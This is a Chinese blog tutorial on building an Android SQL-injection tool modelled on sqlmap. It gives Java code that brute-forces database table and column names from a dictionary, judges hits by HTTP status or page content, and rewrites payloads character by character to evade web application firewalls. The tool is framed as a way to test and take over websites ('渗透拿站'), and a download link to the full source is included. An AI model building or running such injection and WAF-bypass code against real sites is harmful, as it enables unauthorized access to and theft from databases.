【Android编程实战】利用Java编写一个安卓端的Sqlmap

禁止转载
作者:Kali_MG1937
QQ:3496925334
CSDN博客账号:ALDYS4

使用电脑端进行渗透
或者手机刷了nethunter的情况就不用讲了
渗透拿站妥妥的

但如果你正好使用的是没有任何渗透工具的手机,而正好想要测试某网站的SQL注入漏洞时呢?

话不多说,进入正题,我们就自己写一个注入漏洞利用工具!

开始构思

想要利用SQL漏洞需要有什么功能?
由于时间有限,就先实现一个跑字典爆数据库的功能

字典就使用Sqlmap自带的字典,我提取出来放在sd卡里了
接下来就让工具自动判断字典里的内容是否在网站数据库里存在
如何判断?以什么作为依据?

就让返回的状态码作为判断条件
之前碰到一个存在注入漏洞的站点
如果SQL查询失败,会返回404或者500
否则就是200
那有同学就要问了
那如果网站无论查询返回true还是false,网站都照常显示,并且状态码是200怎么办?
这还不好办?
②根据网站内容判断
如果网站查询失败,一定有某些特征,比如因为查询失败,文章不显示,或其他的一些特征
那么就判断:如果网站内容和查询成功时不一样,就算查询失败!

开始工程

要让工具检测字典中的内容是否存在于站点数据库内
那么就先使用BufferedReader读取字典内容
并利用while循环判断字典的下一行是否存在字符
若存在,将这行的内容带入注入语句,向网站发出请求
但在进行注入之前还有一个要解决的问题
如果网站有waf拦截呢?
那就要实现sqlmap对注入语句进行处理的功能了
在这里插入图片描述
我之前学习python时看过一部分的tamper脚本
发现几乎都是将注入句分为独立的一个个字符
对每个字符进行处理,并将处理后的字符赋值给新字符串
最后再带入sqlmap进行注入

那么我也可以按照sqlmap的思路对字符串进行处理
建立一个FileControl类
在其中建立一个wafPass方法
要向wafPass里传入三个值

public void wafPass(String inject,String[] R,String[] T)

顾名思义
inject就是要处理的sql注入语句
字符组R指要替换的字符
字符组T指替换成指定的字符
比如sql语句:select count(*) from table
假设"select"被waf拦截,但可通过替换大小写绕过waf
那么要让"select"转换成其他可代替的字符
我可以向R传入含有"s"的字符组
向T传入对应位置为"S"的字符组
注入语句处理后的select就会变为Select从而绕过waf
具体实现代码如下

	public String wafPass(String inject,String[] R,String[] T) {//逐段替换
		String retVal="";
		StringBuffer stringBuffer=new StringBuffer();
		for (int i=0;i<inject.length();i++)//遍历注入句字符
		{
			for(int i2=0;i2<R.length;i2++)//遍历"替换"表
			{int len=R[i2].length();
				if(i+len>inject.length()) {//避免数组越界
					continue;
				}
				else if(len==0){//避免空字节导致的内存溢出
					continue;
				}
				String sub=inject.substring(i, i+R[i2].length());
				if(sub.equals(R[i2])) 
				{
					retVal=T[i2];
					i=i+R[i2].length()-1;
					break;
				}else {
					retVal=inject.substring(i,i+1);
				}
			}
			stringBuffer.append(retVal);
		}
		return stringBuffer.toString();
	}

利用substring方法对每个字符进行检查,如果字符和要替换的字符组里的任意一个符合
就直接替换成对应的字符

这样就实现了逐字替换的功能
可能有同学要问
为什么不直接调用replace方法进行替换,而要麻烦地逐字替换字符?
因为replace之后sql语句的内容已经改变,再进行replace可能会破坏sql语句原意
所以为了保险起见而逐字对语句进行检查和处理之后再进行SQL注入的操作
直接利用Android自带的httpclient或者URLConnection进行注入操作是行不通的,
因为若请求中包含特殊字符,就必须使用encoder来对请求进行编码,
这样就无法达到注入的预期效果,所以这里我选择使用okhttp3.4进行请求

compile 'com.squareup.okhttp3:okhttp:3.4.1'

直接建立一个线程,调用wafPass方法先对注入语句进行处理
然后再进行注入

	public void Sqlinject(final String sql,final String Path) {//爆表和列
		
		new Thread(new Runnable(){

				@Override
				public void run()
				{	try
					{
						BufferedReader br=new BufferedReader(new FileReader(Path));
						String str="";
						while ((str = br.readLine()) != null)
						{
							try
							{
								Thread.sleep(Integer.valueOf(delay.getText().toString()));
							}
							catch (InterruptedException e)
							{}
							if(Run.equals("stop")){break;}
							if (sql.indexOf("ん") == -1)
							{//若替换符不存在
								break;//则一转攻势,停止循环
							}
							else
							{//否则就不要停下来啊?
								final String True_c=True.getText().toString();
								final String False_c=False.getText().toString();
								String payload=sql.replace("ん",str);
								payload=file.wafPass_A(payload,A,AT);
								payload=file.wafPass(payload,Re,T);
								String codes=requestUrl(url.getText().toString()+payload);
								show(payload);
								if(codes.equals(True_c)){
									happen("存在:"+str+" Code:"+codes+"\n");
								}
								else if(codes.equals(False_c)){
									show(payload);
								}
								else{
									show(payload);
									happen("自行判断:"+str+" 意料之外的Code:"+codes+"\n");
								}
								

							}
						}
						show("结束");
						br.close();//希望の?
					}
					catch (IOException e)
					{}
				}
			}).start();
	}

其中file就是FileControl对象
wafPass_A方法是我另外写的利用replace替换字符的方法
其中一些方法我没在这篇文章里讲
所以具体看源码

因为代码里大部分的逻辑都很不好讲,所以没法在文章里表达

软件是不止写了这一个功能的,由于篇幅有限
也没有明确的思路表达要讲的意思
所以话不多说,直接放源码和图片

在这里插入图片描述

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
这可能是我写过的最不尽人意的文章了,因为要表达的东西太多了
又不得不简化

开源:
https://pan.baidu.com/s/1v4SPvU6COFyjeuFWQOClbA

发布了31 篇原创文章 · 获赞 244 · 访问量 3万+

猜你喜欢

转载自blog.csdn.net/ALDYS4/article/details/88604504